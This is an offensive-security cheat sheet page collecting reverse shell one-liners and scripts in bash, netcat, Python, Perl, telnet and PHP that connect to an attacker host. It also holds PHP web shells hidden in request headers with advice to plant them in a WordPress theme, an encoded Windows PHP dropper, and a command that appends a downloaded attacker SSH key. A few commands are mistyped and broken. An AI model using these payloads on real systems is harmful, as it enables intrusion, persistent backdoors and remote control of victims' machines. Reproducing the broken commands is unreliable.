Great reverse shell generator
Copy https://offsecnewbie.com/reverse_shell.php
I like using port 443 as its generally open on firewalls for HTTPS traffic. Sometimes servers and firewalls block non standard ports like 4444 or 1337
If connections drops or can not be established, try different ports 80,443,8080...
Interactive Shell Test
Copy below into shell. If YES, then you have an interactive shell
Copy [[ $- == *i* ]] && echo "YES" || echo "No"
terminal = tty = text input/output environment
console = physical terminal
shell = command line interpreter
Why the F is my shell not returning?!
A firewall is likely blocking the port returning. What ports are open on the server? Use one of those ports.
Escaping limited interpreters
Some payloads to overcome limited shells:
Copy ssh user@$ip nc $localip 4444 -e /bin/sh
enter user's password
export TERM=linux
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(), *$ 1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
echo os.system('/bin/bash')
/bin/sh -i
exec "/bin/sh";
perl —e 'exec "/bin/sh";'
Related Shell Escape Sequences...
vi--> :!bash
vi--> :set shell=/bin/bash:shell
awk--> awk 'BEGIN {system("/bin/bash")}'
find--> find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
perl--> perl -e 'exec "/bin/bash";'
go into /bin/
and see what binaries are in there.
Copy /bin/csh -i # worked for BSD
From within tcpdump
Copy echo $’id\n/bin/netcat $ip 443 -e /bin/bash’ > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -I eth- -w /dev/null -W 1 -G 1 -z /tmp/.tst -Z root
From busybox
Copy /bin/busybox telnetd -|/bin/sh -p9999
Copy #If you need a more stable connection:
nohup bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
Copy :!bash
:set shell=/bin/bash:shell
!bash
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
awk 'BEGIN {system("/bin/bash")}'
--interactive
echo "os.execute('/bin/sh')"
sudo nmap --script=exploit.nse
perl -e 'exec "/bin/bash";'
Add public key to authorized keys:
Copy echo $(wget https://ATTACKER_IP/.ssh/id_rsa.pub) >> ~/.ssh/authotized_keys
Python TTY shells
Copy https://github.com/infodox/python-pty-shells
Copy on kali
edit tcp_pty_backconnect.py add kali ip and port and upload to target
python tcp_pty_shell_handler.py -b $kaliip:$port
on victim
chmod +x tcp_pty_backconnect.py
python tcp_pty_backconnect.py
Ippsec using tool
Copy https://youtu.be/NMGsnPSm8iw
Upgrading to fully interactive
Copy # On victim
python -c 'import pty;pty.spawn("/bin/bash")'
Ctrl-z
# On attacker
echo $TERM # note down
stty -a # note down rows and cols
stty raw -echo # this may be enough
fg
# On victim
reset
export SHELL=bash
export TERM=xterm256-color
stty rows 38 columns 116
Note: Netcat (nc
) OpenBSD does not support -e
Copy https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
Set PATH TERM and SHELL if missing:
Copy export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export TERM=xterm
export SHELL=bash
PHP
Webshell
Web shells are hard to detect
This command will run system commands on the underlying system and return the complete output as a string
Try to get this code on the server - possibly by contaminating a log file
if a reverse shell is not returning back to you try a diff shell maybe python. run 'which python' to see if python is available
Copy # Execute one command
<?php system("whoami"); ?>
# Take input from the url paramter. shell.php?cmd=whoami
#remember you might have to add index.php to url then you can do index.php?cmd=whoami
<?php system($_GET['cmd']); ?>
# The same but using passthru
<?php passthru($_GET['cmd']); ?>
# For shell_exec to output the result you need to echo it
<?php echo shell_exec("whoami");?>
# Exec() does not output the result without echo, and only output the last line. So not very useful!
<?php echo exec("whoami");?>
# Instead to this if you can. It will return the output as an array, and then print it all.
<?php exec("ls -la",$array); print_r($array); ?>
# preg_replace(). This is a cool trick
<?php preg_replace('/.*/e', 'system("whoami");', ''); ?>
# Using backticks
<?php $output = `whoami`; echo "<pre>$output</pre>"; ?>
# Using backticks
<?php echo `whoami`; ?>
# download netcat and run it
<?php include (location of netcat),exec(reverse shell);?>
Then you can execute the commands like this
Copy http://victim/index.php?cmd=pwd
Make the commands from above a bit more stealthy. Instead of passing the cmds through the url, which will be obvious in logs, pass them through other header-parameters. The use tamper data or burpsuite to insert the commands. Or just netcat or curl.
Copy <?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>
<?php system($_SERVER['HTTP_USER_AGENT'])?>
Copy <?php system($_SERVER['HTTP_USER_AGENT'])?>
add it to index page of a wordpress theme
Copy http://$ip/webshell.php?cmd=id
You can use this to move from web shell to a command line shell
Copy http://$ip/webshell.php?cmd=nc $kali $port -e /bin/sh
A Great WebShell
Copy https://github.com/flozz/p0wny-shell/blob/master/shell.php
Windows Shell
Copy <?php
header('Content-type: text/plain');
$ip = "1.2.3.4"; //change this
$port = "1234"; //change this
$payload = "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";
$evalCode = gzinflate(base64_decode($payload));
$evalArguments = " ".$port." ".$ip;
$tmpdir ="C:\\windows\\temp";
chdir($tmpdir);
$res .= "Using dir : ".$tmpdir;
$filename = "D3fa1t_shell.exe";
$file = fopen($filename, 'wb');
fwrite($file, $evalCode);
fclose($file);
$path = $filename;
$cmd = $path.$evalArguments;
$res .= "\n\nExecuting : ".$cmd."\n";
echo $res;
$output = system($cmd);
?>
Commands to try in a webshell to find out a bit more about system through webshell to help you get a command line shell
Kali shells
Copy /usr/share/webshells/
Copy php-reverse-shell.php
to working directory
Copy cp /usr/share/webshells/php/php-reverse-shell.php php-reverse-shell.php
Best PHP reverse shell:
Copy <?php
echo 'running shell';
$ip='YOUR_IP';
$port='YOUR_PORT';
$reverse_shells = array(
'/bin/bash -i > /dev/tcp/'.$ip.'/'.$port.' 0<&1 2>&1',
'0<&196;exec 196<>/dev/tcp/'.$ip.'/'.$port.'; /bin/sh <&196 >&196 2>&196',
'/usr/bin/nc '.$ip.' '.$port.' -e /bin/bash',
'nc.exe -nv '.$ip.' '.$port.' -e cmd.exe',
"/usr/bin/perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"".$ip.":".$port."\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'",
'rm -f /tmp/p; mknod /tmp/p p && telnet '.$ip.' '.$port.' 0/tmp/p',
'perl -e \'use Socket;$i="'.$ip.'";$p='.$port.';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\''
);
foreach ($reverse_shells as $reverse_shell) {
try {echo system($reverse_shell);} catch (Exception $e) {echo $e;}
try {shell_exec($reverse_shell);} catch (Exception $e) {echo $e;}
try {exec($reverse_shell);} catch (Exception $e) {echo $e;}
}
system('id');
?>
MIME Types
GIF89;
If a shell session closes quickly after it has been established, try to create a new shell session by executing one of the following commands on the initial shell. This will create a nested session!
Copy bash
/bin/sh
/bin/sh -i
Using netcat
Copy nc <attacker_ip> <port> -e /bin/bash
Using bash and TCP sockets
Copy /bin/bash -i > /dev/tcp/<attacker_ip>/<port> 0<&1 2>&1
Using sh and TCP sockets
Copy 0<&196;exec 196<>/dev/tcp/<attacker_ip>/<port>; sh <&196 >&196 2>&196
Using telnet
Copy telnet <attacker_ip> <1st_port> | /bin/bash | telnet <attacker_ip> <2nd_port>
PHP and sh
Copy php -r '$sock=fsockopen("<attacker_ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'
weevely
Copy https://www.acunetix.com/blog/articles/web-shells-action-introduction-web-shells-part-4/
Copy --weevely.py command password output--
./weevely.py generate abcd123 shell.php
upload to victim then execute
./weevely.py http://$ip/shell.php abcd123
Then if you want reverse shell, run this on victim after running listener on kali
backdoor_reversetcp $kaliip $port
Perl and sh
Copy perl -e 'use Socket;$i="<attacker_ip>";$p=<port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Perl forking:
Copy perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Python
Copy python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Reverse shell with python script:
Copy #!/usr/bin/python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP",port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
Go reverse shell
Copy https://github.com/sysdream/chashell
Discover shell environment
Directory contents /usr/bin
Directory contents Windows Program Files folder
System information Windows
Reading
Copy https://www.acunetix.com/blog/articles/introduction-web-shells-part-1/